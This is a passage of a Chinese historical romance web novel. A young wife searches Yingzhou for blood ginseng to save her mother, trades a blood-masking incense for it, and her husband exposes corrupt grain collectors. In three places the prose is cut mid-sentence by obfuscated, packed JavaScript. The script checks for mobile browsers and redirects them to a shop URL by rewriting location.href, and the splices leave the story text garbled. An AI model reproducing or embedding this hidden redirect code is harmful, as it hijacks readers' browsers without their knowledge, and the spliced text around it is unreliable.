含香虽满心的不情不愿，却也知道此刻不是争辩的时候，咬了咬牙，将手中的血参递给常嬷嬷。 待送走了常嬷嬷，沈卿婉浑身气力仿佛骤然抽空，身子一软，便顺着罗汉床沿滑坐于地。她侧身倚着床脚，臂弯掩面，泪珠悄无声息地滚落，没入衣袖。 她虽口中说着再想办法，可她心里却是一点办法也没有。 沈家没有，孟家也没有，那还有谁家有？ 颍州倒是还有几户勋贵人家，但她并不相熟，就算她去求，人家又怎么会平白给她？ 她目光往外一移，瞧见了梳妆柜下自己带来的梨花木箱子，她悔自己为何当初没学岐黄之术，不然那快放的箱子装的就不是香料箱而是药材。 她这会也不至于这般束手无策。 蓦地，脑中闪过一个想法，她呆愣愣地盯着那处，也许…… 她支棱起身子，颍州药铺总不止一家，万一……万一哪家恰有存货呢？ 去问问，总比这干等着要强。她这么一想，立刻揩去眼泪，唤来含香，红袖她们。 她扶着床沿缓缓起身，对她们道：“颍州城这么大，我就不信没有一家药店有血参。我们一起去问，叫院中的女使们也出去寻。” *** 出门时正当日头最毒，暑气蒸得青石板路泛白，偶有蝉声从槐荫里挣出来，嘶哑又短促。行人多是匆匆，她一路走，一路问，待到回头，已是暮云合璧，残阳如血。 沈卿婉戴着白纱帷帽，沿南街一家家药铺探问过去。铺子或大或小，掌柜或歉然或摇头，答话皆是一个“无”字。 偶有一家老铺的伙计好心提点：“血参这等稀罕物，寻常铺子哪里会有？姑娘或可去陈记问问——那是颍州头一份的大药铺，兴许能有。” 说着，便好心地指着方向：“那药铺也不远，就往前面走，过个路口就到。” 沈卿婉道了谢，脚下却似生了根，没能挪动半分。 陈家…… 自从与陈家的婚约告吹，她便不曾再上门陈家，如今……她扶着帷帽，只当自己是一个求药的路人。 陈氏药铺大门敞开着，门楣上悬挂着烫金匾额，门楣下数不清的人来人往，沈卿婉踌躇着脚，干看了一回，随着人流走了进去。 浓郁的药香似四四方方的纱帐将人围了起来，正对门是一排长长的梨木柜台，柜台后整齐地摆放着数百个黑漆药柜，柜子上写着药材名，密密麻麻却井然有序。 两侧靠墙立着高大的架子，上面堆着捆扎好的草药、晒干的根茎，还有一些用锦盒盛放的珍贵药材。 店堂深处，一个半开的隔断后，摆着一张八仙桌，几个郎中正坐在那里给人诊脉，偶尔传来几句询问病情的低语。 柜台后，一个身着水红色百蝶短袄，葱绿色两片裙的女子正低着头，手指飞快地拨弄着算盘。 沈卿婉心头一紧，认出这位就是陈家三姑娘——陈子妍，她与这位陈姑娘并未见过几面，想来隔着帷帽，不见得能认出她来。 她安慰着自己，款步向前，压着声音道：“姑娘，请问贵店有血参吗？” 陈子妍抬眼看来，柳叶眉微微一挑，上下打量了她一番，语气带着几分轻慢：“血参？那可是千金难寻的药，寻常人可买不起。” “价钱不论！”沈卿婉脱口道，“只要有，多少银钱我都愿出！” 陈子妍蹙眉细听，只觉这声口耳熟。眸光微转，心下已有计较，面上却淡淡道：“娘子若诚心要，便随我来后院库房瞧瞧。”一面说，一面引她往内。 沈卿婉当即跟着陈子妍去到后院，忽见对方猛地转身，一把揭开她的帷帽。 帷帽叫陈子妍揭了去，当即听对方阴阳怪气道：“我当是谁这么一掷千金，原来是转运使夫人。不过我这陈家庙小，恐怕容不下你这尊大佛。” 沈卿婉抿着唇，勉力镇定：“医者仁心，药铺本是救人之所。不论我是谁，总不该将求药之人拒之门外。” 陈子妍双臂环抱，往前逼近：“我就撵了，怎么着？” 陈子妍她身量较沈卿婉矮些，为撑气势，脖颈绷得笔直，扬着脑袋，嗔道，“你竟还有脸上门？当年你遭难，是我二哥不顾非议，执意求娶，为你解围。 “可你呢？转头便攀了孟家的高枝，将我二哥、将我陈家的颜面置于何地？可曾想过会有今日，要求到我家门上来？” 沈卿婉自知自己对不起陈子墨，也对不起陈家，对于她的指责，选择了沉默不语。 待陈子妍说罢，她才抬眼，泪光盈睫：“旧日之事，皆是我的过错，任你打骂责罚，我绝无怨言。可今日……今日我急需血参救命，此事与旧怨无干。 “求你发发慈悲，将药卖与我吧！”言罢，屈膝便欲跪下。 陈子妍眼疾手快将人拉起来，“你可别！我受不起！” 她本来心里置着气，可看着沈卿婉这般低三下四，苦苦哀求的模样，终究心软了几分。 她叹了口气道：“算了，与你说实话吧。那血参店里没有，你要急用，只得等我二哥从阳平采买回来。” 沈卿婉忙问需得几天。 “二哥已经启程，约莫两日后到怀冲，然后再到颍州。” 沈卿婉听到这，急道：“三天？！可我小娘根本等不了三天。” 陈子妍嘟囔道：“你那郎君好歹是颍州城的大官，怎地连一支血参都没有。若是你当初嫁给我哥哥，但凡你要，他便是掏心摘肺也肯给你……” 沈卿婉没有接话。 她不知自己是如何走出陈记药铺的，又是如何在日头底下走着，她只是昏沉沉地飘荡着，不知道自己要去哪。 直到遇见含香。 含香远远便瞧见沈卿婉失魂落魄的样子，匆匆跑了过来，上前扶住她。 沈卿婉定神看向她，眼神向她无声地询问，她摇了摇头，告诉沈卿婉颍州城所有的药铺都问了过来，都说没有。 屋瓦的轮廓拖出斜斜的长影，直戳到人心口里去，沈卿婉眼前渐渐开始发黑。 含香劝道：“娘子，奔波整日了，先回府吧……” 正往回走时，忽听有人唤道：“沈娘子？”一个熟悉的声音自身后响起。 她顿了一下，只当自己听岔了，待抬步要走，又听那声音道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087583|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎的不理我？” 她茫然回首，却见留香居的穆丹正立于身后，面上本带着盈盈笑意，待看清她脸色，笑容倏然敛去，快步上前扶住她手臂：“这才几日不见，怎就憔悴成这样？” 话音刚落，沈卿婉便觉得眼前一黑，天旋地转，身体不受控制地向前倒去。 穆丹眼疾手快，连忙扶住她，对旁边的含香道：“快，扶到前面凉棚下歇着！看这样子莫不是中暑了？” 穆丹让人端来一碗凉茶，含香小心翼翼地喂她喝下几口。 过了好一会儿，沈卿婉才缓过神来，呼吸渐渐平稳，只是脸色依旧苍白如纸。 穆丹蹙眉道：“我原本是有事要去孟府寻你，门子说你不在，不想竟在此遇上。究竟遇上何等难事，竟将你磋磨至此？” 含香面露难色，主子的家事实在不便对外人言说，只能含糊道：“让您费心了，我家娘子只是遇到些难事，一时心绪不宁罢了。” “难事？”穆丹见对方没有继续说，便知趣地也没有多问，转而说起正事，“我寻你，是为一件生意——前日有位客人来铺中，欲订制一味特殊的香。 “要求极为刁钻，寻常香师怕是应对不来。但我念着你手艺精绝，或可一试。报酬颇丰，你可愿接下？” 沈卿婉闻言，想也不想地就拒绝了：“我没心思做这个……” 她如今哪还有心情琢磨制香？ 穆丹不知其缘由，但念在那一锭金子的份上，又开口劝道：“那定香的可非寻常人家，若是你能做出这香，没准还能帮你解决难题。” 沈卿婉听闻此话，骤然抬眼，一把攥住穆丹衣袖，仿佛溺水之人触到浮木，颤声道：“他……他可能予我别物？我不要银钱——” “别的？”穆丹愣了愣，“沈娘子是想要别的东西？” “血参。”沈卿婉一字一顿，眼中燃起微弱希冀，“我只要血参。若他需银钱相抵，我愿倾尽所有。” 穆丹顿时了然。血参乃吊命之物，想来是她至亲危在旦夕。 她反手握了握沈卿婉冰凉的手指，温声道：“你且宽心，我这就去问。无论成与不成，必尽快递消息到孟府。” 沈卿婉点了点头，又喝了几口凉茶，遂回府等待消息。 穆丹知沈卿婉的急切，一步也不敢耽搁，径直去了客栈，寻见那人。 厢房内，穆丹刚跨过门槛，鼻尖便捕捉到一丝异样。 那味道并不是很明显，被屋内清雅的兰香和木质香气层层压着，只隐隐透出一缕极淡的血腥气，还有混着些许草药的味道，。 换做旁人，定然只会以为是屋内熏香与陈设气息交织的错觉，但穆丹自幼浸淫香料生意，鼻子敏感到能分辨出百种香料的细微差别。 她抬眼望去，端坐于桌前的男子唯有唇色透着几分不易察觉的微白，除此之外，神色平静，呼吸匀长，竟看不出半分异样，仿佛方才那丝血腥味只是穆丹的错觉。 穆丹心头微微一动，脸上漾着温和的笑意，仿佛全然未曾察觉那丝异样，只缓步上前，福了一礼：“郎君久候。上次与郎君提及，您心心念念的那款香，能调制之人，我已然寻到了。 “只是这位香师性情特别，调制此香分文不取，只求郎君一件物品。” 男子眉梢微挑，眸中闪过一丝讶异，随即问道：“她要什么？” 穆丹将收取的那一锭金子归还放于桌上，道：“她要一只能救人命的血参。” 话音落下，厢房内骤然陷入寂静。。男子面上平静无波，唯眸光深了几分，如古井投石，涟漪暗生，没有立刻应声。 穆丹静候一旁，心中忐忑。 她深知这味香用料珍罕，价逾千金，可再是稀罕的香品，终究是怡情之物，如何与救人续命的血参相比？这般不对等的交换，对方会应允吗？ 窗外暮色渐沉，厢内烛火未明，昏朦光线映着男子半边侧影，瞧不真切神情。 19. 清轩院制香救母 院中树梢上的雀儿正叽喳闹着，若在平日，沈卿婉或觉有几分野趣，今时入耳，却只平添烦乱。 她原在临窗罗汉榻上坐着，不过半盏茶的工夫，便起身踱了两步，朝窗外望了望，复又坐下。那双惯常含水的眸子，此刻盛满焦灼，眉尖轻蹙，坐立难安。 含香在旁见她这般，终是上前劝道：“娘子这般来回，倒叫奴婢看着心焦。 “常言道‘急病难医，急事难成’。您便是把门槛踏平了，该来的消息也得等时候。仔细先熬坏了自己的身子。” 说着斟了盏热茶递上。 沈卿婉勉强啜了一口，仍坐回榻上，侧身倚着床栏，双臂交叠，额角轻轻抵在手背上。 她忽然念起孟玦来，想到他考得了状元，当得了能臣，诸事料理得妥帖周全，仿佛世间从未有能难住他的事。 若是他此刻还在身边，一定能寻个周全的法子出来，断不会叫她这般孤立无援，坐困愁城。 思及此，鼻尖微酸，眼底泛起湿意。 可这念头方过，另一段旧语又萦绕心头——“若是你当初嫁给我哥哥，但凡你要，他便是掏心摘肺也肯给你……” 她暗忖：莫非老天也嫌她背信弃义，才降下这般劫难作罚？ 若当真如此，便罚她一人罢。皮肉之苦、声名之损，纵是折损寿数，她也甘愿承受，只求莫将这孽债牵累到小娘身上。 这般想着，胸中愈发窒闷，喉头紧涩，几乎要落下泪来。 恰在此时，门外传来一阵急促步声。她透过窗棂望去，见是穆丹，忙起身迎了两步，声线带着轻颤：“对方……可应了？” 穆丹缓了口气道：“那客人终是应了！只是……” “只是”二字，使她的心猛地一提，先前的焦灼又翻涌上来，忙追问：“只是什么？” 一个时辰前—— 穆丹焦急等待着，忍不住再次开口时，便听得对面男子开口：“可以。” 她刚松半口气，却又听他续道：“但我明日便要见到香。” 她脸上笑意倏然凝住。即便技艺再精熟的香师，一日之内创出新香方，也近乎不可能。 她张了张口，本欲诉述其中艰难，可抬眼对上男子似笑非笑的眼眸，到唇边的话又咽了回去。 穆丹定了定神，勉强道：“既如此，我便回去转告香师，请她尽力一试。” “不是尽力。”男子打断她，“明日此时，我要见到成品。能成，血参归你；不成，这桩生意便罢。” 穆丹心下暗诧：这小郎君年纪虽轻，周身威压却重，每句话看似随意，却无半点容人商榷的余地。 她只得应道：“郎君放心，明日此时，定将香送到此处。”言罢，几乎不敢多留，行礼退出厢房。 时辰紧迫，她不敢耽搁，即刻赶往孟府，将对方要求一五一十告知沈卿婉。 *** 沈卿婉反复翻阅小娘留下的香谱，寻思合用的香方。 然成品香与定制香原是两回事，这般既要浓醇又要清雅的要求，她亦是头一遭遇见，更别说一日之内须得制成。 她眉间凝着浓愁，抬手揉了揉额角，长长吁了口气，倚向圈椅，仍无半分头绪。 “娘子，先用些点心罢。”含香端着描金漆盘轻步进来，盘中栗子糕犹带温气，“垫一垫再想也不迟。” 沈卿婉轻轻摇头，此际哪里咽得下。 含香见劝不动，只得暗叹，静立一旁。 沈卿婉又默想片刻，目光无意落在那碟栗子糕上。 忽而想起先前为与孟玦亲近，做了点心送去，后又赠香囊，随他学诗……二人之间，确比之前近了许多。 想着想着，心头蓦地一动：与人相交贵在循序渐进，创制香方，何尝不是如此？ 她总拘泥成规，只想觅个现成方子，却忘了哪一道香方不是反复试出来的？便如这栗子糕，亦须备妥栗仁、糯米，徐徐蒸制调味，方得这般清甜。 一念通透，她心下渐明。翻阅香谱，忽记起有一古方，以香气浓远著称—— 不消片刻，她眸中一亮：正是“荀令十里香”！ 相传此方为三国荀彧所创，因香气可传十里而得名。以甘松、丁香、檀香、生龙脑、零陵香、茴香调制，多为木质香气，男子用之亦不觉突兀，便添些分量也无妨。 檀香与茴香她手边便有，其余则命红袖依单采买。 等候之时，她先去厨下将茴香微微炒制，令其气韵更温润协和。 待药材齐备，沈卿婉取甘松，仔细洗净根部所附淤泥——那泥自带酸腐气，涤净后，方透出一缕甘甜。又将诸般植香去杂、切段、研磨，一一备妥。 诸事停当，她敛袖净手，始行合香。 香料所费不赀，她不敢一次按原量调配，只每样略取少许，依序斟酌比例。 以檀香为君，余香为臣，执香匙徐徐调入。室中气息渐转醇厚，数般香气交揉，融成一股独特的芬芳——不似木香那般沉厚，亦不似花香那般轻浮，清雅中自带沉静，闻之宁神。 取过细铜筛，将香粉缓缓倾入，含香在旁轻摇筛柄，筛下的香粉落于素白棉纸之上，细腻如蜀锦，无半点杂质。 初次合香已成，时已二更。 她拭去额间薄汗，为试其能否掩去血气，取绣针在烛上燎过，轻刺小指指尖。 一粒血珠滚出，落在铺香的棉纸上，泅开一小片暗红。 她以银簪挑少许香粉覆于血上，指尖轻捻混合，细嗅之——那浓郁香氛下，仍隐着一丝铁锈气，二者泾渭分明，香气虽盛，终未能将那腥味彻底掩去。 “不成。”沈卿婉蹙眉，“血气独特，极难遮掩，不若寻一味中和。”她揉揉眉心，目光不经意飘向窗外。 窗外夜色正沉，一轮圆月悬于天心，黄澄澄的，教她想起近来市上时令的黄柚。 心念一转，立唤含香取柚来，剥皮焙干，研碎掺入。 再次合香后，香气层次愈丰，柚皮独有的清苦微酸，恰将那股铁锈气中和殆尽。 沈卿婉舒了口气：“总算成了。” 既得此方，便可依谱正式调配。又取瓷瓶中窖藏的香蜜，其质浓稠如凝脂，自带天然清甜。 以银匙舀出少许，徐徐倾入香粉漆盒中，指尖轻捻慢拌。香蜜温润与香粉细腻渐次交融，松散的粉末终凝作柔韧香泥。 诸事皆毕，天已微明，泛着蟹壳青色。待那最后一点靛蓝褪尽，鸡鸣破晓，新的一日便真真切切地来了。 她眼下只剩最后一道工序，那香模只有香铺有，到时候穆丹收到香泥会看着打磨成香牌。 她揉了揉发沉的太阳穴，声含急切：“快，趁天未大亮，将此物送去。” “哎，奴婢这便去！”含香仔细揣入怀中，快步出院，步声渐远于寂静庭阶。 沈卿婉独坐房中，怅然望着案上余物。虽香已制成，心下却仍惴惴难安。 枯坐片刻，欲更衣亲往香铺一观。不料方起身，便觉天旋地转，耳畔嗡鸣，眼前骤然昏黑，身子一软，向后倒去。 *** 再醒来时，已是晌午。她睁眼便问血参之事。 含香守在床边，见她苏醒，喜极拭泪：“娘子可算醒了！血参已取到，奴婢送去沈家，亲见小娘服下参汤，高热退了方回。” 沈卿婉匆匆用了午膳，不顾身虚，略作梳洗便赶往沈家。 此时陶氏高热已退，可勉强进些流食，正斜倚床头，面色虽仍苍白，神气已缓。 “小娘！”沈卿婉扑至床边，握住母亲的手。 “婉儿……”陶氏声气微弱，满目忧切，“我儿，你在孟家受委屈了。” 沈卿婉鼻尖一酸，强抑涩意，摇头道：“小娘说哪儿话？我在孟家一切皆好，何来委屈。” 恐母亲忧心，又忙补道：“不过是后宅常有的风波，哪家没有？只是以讹传讹，到小娘耳里便添枝加叶，徒惹您牵挂。” “你莫瞒我。” 沈卿婉紧握母亲的手：“女儿怎会瞒您？此次血参，还是婆母特从府里药房取出，说是知您病了，专程让我送来。从前那些传言皆是误会，郎君待我甚好，婆母也体贴，您千万宽心。” 她一面说，一面为母亲掖好被角，语调故作轻快。 含香立在角落，见娘子分明受尽委屈，却强颜欢笑宽慰夫人，鼻尖阵阵发酸，悄悄别过脸抹泪。 陶氏凝望她良久，终是轻叹，不再追问。知女儿孝顺，不愿己忧，便顺其言道：“那便好，那便好。你在孟家安稳，娘便心安了。” 母女絮语多时，不觉两个时辰流逝。 沈卿婉轻声道：“小娘，女儿想日日来看您。” 陶氏却摇头，轻拍她手背：“你已是孟家媳妇，常回娘家不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103951|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼数，也徒惹劳累。娘这儿有青琪与嬷嬷照应，自会慢慢好转。你在孟家好生度日，理好家事，莫再让娘操心，便是最大的孝心。” 青琪亦在旁帮腔：“姑娘面色倦得很，快回府歇息罢。小娘这里，有我照应。” 沈卿婉又细细叮嘱一番，方起身离去。 *** 颍州城东，一座宅邸气象恢宏。朱漆大门高逾丈，铜环兽首光可鉴人，门楣悬“季府”鎏金匾额，映日生辉。阶前两尊汉白玉石狮昂首踞坐，鬃毛雕琢如生，威仪凛然。 忽闻蹄声疾驰，由远及近，尘土扬处，一匹枣红骏马飞驰而至。马上少年身着墨色劲装，腰束玉带，乌发以玉冠束起，额面光洁。 眉目俊朗，剑眉斜飞，眸光清亮如寒星，一身少年英气，隐带不羁。 骏马至门前，少年双腿轻夹马腹，手腕一勒，马儿长嘶人立，他却身形翩然跃下，稳稳落地。衣袂翻飞间，顺手将马鞭抛给候立小厮，大步流星向门内走去，步履矫健，意气飞扬。 门前小厮接鞭笑迎：“季官人可回来了！家书三日前便到，大娘子日日念叨，快将咱们问烦了。” 季泽步履未停，只随口问：“家中近来可好？” “好好，”小厮连声应道，引他往内院去，“府里皆平安，唯大娘子惦记您。” 说话间已至垂花门，早有两位青衣女使候着，见了他敛衽行礼：“郎君一路辛苦，大娘子已在暖阁相候。” 他略颔首，随女使穿过游廊，步入暖阁。 阁内兰香清雅，陈设宜人。婶母周氏正坐于榻上，见他进来，立即起身迎上，满面关切：“怀清，可算盼到你了！怎耽搁这些时日，教婶娘好生牵挂。” 她随手轻抚他左肩，指尖方触，季泽身子几不可察地一僵，眉峰微蹙，旋即松开。 他不着痕迹侧身：“婶娘勿忧，途中偶遇琐事，略耽搁了行程。” 周氏上下打量他，忽轻嗅了嗅，季泽神色顿时微凝。 “你身上怎带这般清雅香气？”她循香望去，瞥见他腰间香牌，讶然，“咦，往日你最不喜此类佩饰，只戴你母亲留的香囊，今日怎想起买这个？” “前些日子路过城西香铺，见此牌别致，随手买来佩着玩。”他语气如常，眼底却掠过一丝微澜。 说着旋身落座交椅，岔开话头：“婶娘莫取笑侄儿。此番奉命往地方处置暴乱，事毕顺道回来看您。过几日便需返京述职，正好在府中休整几日。” 周氏又叮咛：“能多住些时日才好。你在此尚有婶娘照应，回京后父亲不在身边，姐姐又在宫中，连个贴心人也没有……” 忽想起什么，追问道：“昨日你派人回家取血参，是作何用？莫非身上带伤？” 季泽展臂笑道：“侄儿好好儿的，婶娘莫忧。那血参是赠友所用。” “友人？”周氏挑眉，“是郎君，还是姑娘？” 季泽敷衍道：“自是郎君。” “那何日请来家中坐坐？” 季泽见她追问不休，只得实言以告，道是以血参换得香牌之事。 周氏闻言，静默片刻，方道：“以血参换香牌……你莫不是瞧上那制香之人？”面带担忧，“若只是一时兴致便罢，万勿动别样心思。你的婚事须得门当户对……” 季泽忍笑道：“婶娘想到哪儿去了？我连那香师的面都未见，何况人家已是有夫之妇。” 周氏听得“有夫之妇”四字，神色稍松：“如此便好。”，说罢，又开始老调重弹，说起季泽的婚事。 季泽见势不妙，忙寻个由头，脱身回房。 长随玉书早已捧药箱候在房中，待他归来，便上前为他换药。 衣衫褪去，露出挺拔脊背，肌理分明，肩宽腰劲，唯左肩上一道伤口深可见骨，皮肉外翻，血痂凝结，隐有血珠渗渗，血腥杂着药气扑面而来。 玉书以烈酒蘸湿净布，轻拭伤周。季泽牙关紧咬，额角沁出细汗，却未出声，只眉头深锁，眼底压着忍痛之色。 清理毕，玉书取洁净绷带层层缠裹肩头，动作极轻，恐牵动创处。 “亏得有香牌遮掩，否则这般浓重血气，大娘子早察觉了。”玉书系紧绷带，忍不住道。 季泽抬手取过案边香牌，指尖轻抚：“这香制得确妙，竟将如此血气掩得一丝不露。日后若有机缘，倒想会一会这位制香高人。” 20. 冷情郎忽念佳人 盛夏的日头斜斜挂在天际，金辉漫洒，映得万亩稻田一派澄黄。稻穗低垂，粒粒饱满，恰似美人钗环下的流苏，一晃一晃的，又一闪一闪的。 风过处，稻浪层叠翻涌，如金波潋滟。插秧的农夫挽了裤脚，赤足踏在湿润的泥淖中，膝下裤腿卷起，沾着星星点点的泥痕。 田埂尽头，一株老槐树下搭着个简陋草棚，棚下摆着一张缺了角的木桌。穿粗布短褂的张老汉正坐在棚中歇息。 他的媳妇正带着一罐水和三个窝窝头来与他吃。 正吃着，见田埂上迤逦行来两人，至棚前讨水。张老汉抬眼望去，来人一身半旧青布衣裳，似是寻常行客，可那身段气度、眉眼神情，却与寻常百姓不同。 老汉取碗舀了一勺水递去，孟玦接过饮了一大口，又递与绿松。 孟玦默然四顾，复又看向老汉。 那媳妇正递饼与他，口中柔声嘱咐：“慢些吃，仔细噎着，就口水咽。”二人分食闲话，虽是家常絮语，却透着一股平淡温馨。 那老汉见孟玦看了过来，以为他饿，便大方地拿出一个窝窝头递给了他：“这里都是些庄户汉子，没什么好吃的，郎君将就吃些，垫一垫肚子。” 孟玦知晓农人不易，每岁纳完粮税，所余之粮尽数换钱度日，自家尚且舍不得吃。 不便推却这番好意，遂道谢接过，与绿松各分一半。那窝头乃是黑面所制，掺了不少麸皮，入口粗砺，扎口难咽。 绿松咬了一口，差点吐出来，在看到自家郎君递来的眼神后，小嘴巴一抿，眼睛一眨，将那东西努力吞咽下去。 孟玦喉间亦觉艰涩——尤其他的胃口早被沈卿婉养得刁了。望着手中半块窝头，不由想起妻子所做点心，不但味美，形亦精巧，观之可喜。 忽然间，天地静寂。辽阔水田之上，农人或歇于荫下，或俯身劳作，无人言语。唯闻蝉鸣蛙噪，风拂稻叶簌簌作响。 他心中忽想：不知此时，他的妻子正在做什么？ 用罢那半块窝头，他敛了心神，随口道：“今年稻穗饱满，收成应当不差。” 张老汉咧嘴笑了笑，露出泛黄的牙齿：“能挣什么钱，不过是守着这几亩薄田糊口罢了，连种子的钱都是赊账买的。” “去年风调雨顺，收成不错？怎么能连种子钱都没有？”孟玦皱眉问道。 张老汉重重叹了口气，“郎君一看就是外地来的，挣钱？哪有什么挣钱的日子？” “老丈这话怎说？” “年成倒是不差，”张老汉摇着头，语带郁气，“可曾听过‘谷贱伤农’？收成越好，米价反倒跌得不见底了！” 他伸出粗糙手指，一一数道：“往常一石米能卖三百五十文，今年呢？一百七十文顶天了，还不及往年一半！” “怎会如此？”孟玦惊诧道，“朝廷明令，若粮价过低，官府当以高价收粮平抑市价，岂容跌至此等地步？” “官府？”张老汉嗤笑一声，嘴角撇出几分讥诮，不再多言。 正说着，前方田垄那头忽然传来一阵嘈杂的喧哗，夹杂着粗野的呵斥与妇人的啜泣，打破了田野的宁静。 孟玦抬目望去，见几个皂衣衙役腰挎长刀，正围推搡农人。为首那人满脸横肉，叉腰戟指，唾沫横飞，不知在争嚷什么。 “这又是为何？”孟玦沉声问。 老汉顺他目光看去，神色愈暗，重重一叹：“还能为何？若将粮拉到镇上城里去卖，好歹多挣十几文钱。 “可这些衙役奉上头命，来村里收粮，价钱比城里又低十几文！农人自然不肯，他们便强压硬收，稍有不从，拳脚相加。 “前几日还有人被打得卧床不起，更有衙役恼了，径直冲入田里践踏庄稼！” “这般行径，也忒猖狂了！”绿松在旁听得火起，忍不住道。 “王法？他们便是王法。寻常百姓，怎拗得过他们？只得认命罢了。” 那几名衙役正揪着一农人衣领，蒲扇般的巴掌高举半空，眼看便要掴下—— 那农人面红颈赤，嘴角渗血，犹自梗脖不屈。身旁妇人搂着孩儿，哭得浑身战栗。 “住手！” 一声沉喝如惊雷乍起，震于田垄之间。 孟玦已立起身，青布衣裳衬得身形挺如松柏，眉宇间温煦尽敛，眸底凝霜蓄雪。 他大步上前，挡在农人身前，目光扫过众衙役，语气平缓却不容置疑： “朝廷律法明载，百姓耕作所得，当依市价交易，不得强买强卖； “更严禁欺凌良善、毁伤农桑。尔等此举，岂非视王法如无物？” 他略顿，看向那被揪扯的农人：“压价收粮已属违法，动手伤人、毁坏庄稼，更是罪上加罪。尔等就不惧官府追究？” 那衙役听得不耐，掏了掏耳朵，满脸轻蔑：“王法？哈哈哈！你跟爷讲王法？爷便是王法！” 上前一步，伸手便推孟玦肩头：“我看你是活腻了，敢管爷的闲事！信不信连你一并打了，也是白打！” 旁侧几名衙役亦哄然围上，摩拳擦掌，气焰嚣张。 绿松见状，倏然抢前一步挡在孟玦身前，手往行囊中一探，“唰”地擎出一面腰牌，高举示众，沉声道： “睁开尔等的眼！看清此为何物！” 众衙役笑声骤止。看清腰牌刹那，脸上张狂顿时僵住，如被冰水浇头，面色由红转白，由白转青，腿脚一软，“噗通”跪倒一片。 “小、小人有眼无珠！不知是转运使驾到，该死！该死！” 为首的衙役磕头如捣蒜，声音带着颤：“方才是小人猪油蒙了心，冲撞了官人，还请官人高抬贵手，切莫与我们计较！” 孟玦居高临下地看着他们，语气冰冷：“尔等强征粮食、欺凌百姓，便随我往知县衙门一行。” 几个衙役连忙告饶，“官人饶了小的吧？我等不过微末小吏，也是替人办事……”，话还未说完，便被打断。 “——何人？” “是高七爷！” 那衙役见孟玦似不知，忙补道：“高七乃县马高官人的近亲，平日横行乡里。 “是他命我等压价收粮，且不止本县，邻近数县皆如此。小人实不敢得罪他啊！” 孟玦默然片刻，目光掠过一旁瑟缩的农人，沉声道：“尔等不是要收粮么？” 众役愣怔，不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他本不欲早露行迹，方才实属无奈。既已惊动，下头官吏必已通风报信，暗访难继，不如暂返，另作图谋。 是夜，客舍之中，孟玦独坐沉吟：清河县耕地约六千顷，岁收二十余万石。颍州八县，地近万顷，收成近百万石。 那高七搜罗如许粮食，意欲何为？ 他不由想起前番暗查惠和县粮仓，种种蹊跷，或有关联…… 夜渐深沉，更夫梆响，报说二更已至。孟玦与绿松同宿一室，绿松磨牙声声，扰得他难以入眠。 正蹙眉翻身，忽觉异动，睁眼看去—— 那纸糊窗纱之上，竟探入一截竹管，灰蒙蒙的烟气正自其中袅袅逸出…… 瑞和堂内，安神香的烟气如瀑布倒流，顺滑连绵。 帐子里，孟老夫人正睡着，忽然大叫一声。 在外间的常嬷嬷闻见声，连鞋都顾不得穿，奔了进去，老夫人满脸的冷汗，双手捂在心口，大口大口地喘息着。 她紧紧抓着常嬷嬷的手，颤着声，语不成句：“我梦见玦儿了……他受了伤，好多……好多的血……” 21. 三人修罗场初现 常嬷嬷执帕为孟老夫人拭去额间冷汗，又唤女使奉上热茶，温言劝道：“许是老夫人思念郎君过甚了。 “郎君出门方两三日的工夫，身边又跟着随从，这颍州地界又无山匪强人。若实在放心不下，不妨遣人去将郎君接回便是。” 孟老夫人将这话听了进去，让人去把沈卿婉请了过来，只说梦见孟玦在外面缺衣短食，教她收拾几件衣裳并吃食，亲往广和县走一遭。 沈卿婉应声去了。 回房途中，含香掌灯随行，忍不住打了个哈欠，小声嘀咕：“不过一场梦罢了，何至于天未明便唤人过去……”语中隐有几分埋怨。 沈卿婉道：“俗话说‘儿行千里母担忧’，夫君去了外面公干，身边没个知冷知热的人，母亲担心也在情理之中。” “她既记挂，何不自去？”含香仍是不平，“偏要使唤娘子。” “身为儿媳，本应为母分忧；身为妻子，照料夫君亦是分内之事。”沈卿婉语气平和道。 含香叹了口气：“娘子你就是太好了，只可惜这孟家的人，眼睛都长在头顶上，看不见你的好。” 这话说得沈卿婉一笑，她点了点含香的额头：“别贫了，快去叫人收拾东西吧。” 为安孟母的心，沈卿婉只略备轻简行李，辰时初刻便已打理停当。 马车缓缓驶出京城，朝广和县行去。 颠簸三日，方抵广和。 又花费了一番时间寻得驿馆，沈卿婉遣车夫上前打听，车夫回报：“夫人，驿丞言不曾见过郎君踪影。” 官员外出，多宿驿馆，然亦有别处下榻。一县之地，说大不大，说小却也不小，若逐间客栈寻去，没四五日恐难寻遍。 沈卿婉暗忖：他既来此公干，纵不居驿馆，亦必往官署一行。遂驱车至县衙探问，仍无音讯。 天色渐晚，只得先寻宿处安顿。 次日又寻半日，依旧杳无踪迹。至午时，一行人只得折返。 出镇不过数里，天际忽涌层云，顷刻间雨丝如帘，斜打窗纱。官道本为夯土所筑，经雨一浸，顿成泥淖，车轮陷下半尺有余，马蹄起落间泥浆飞溅。 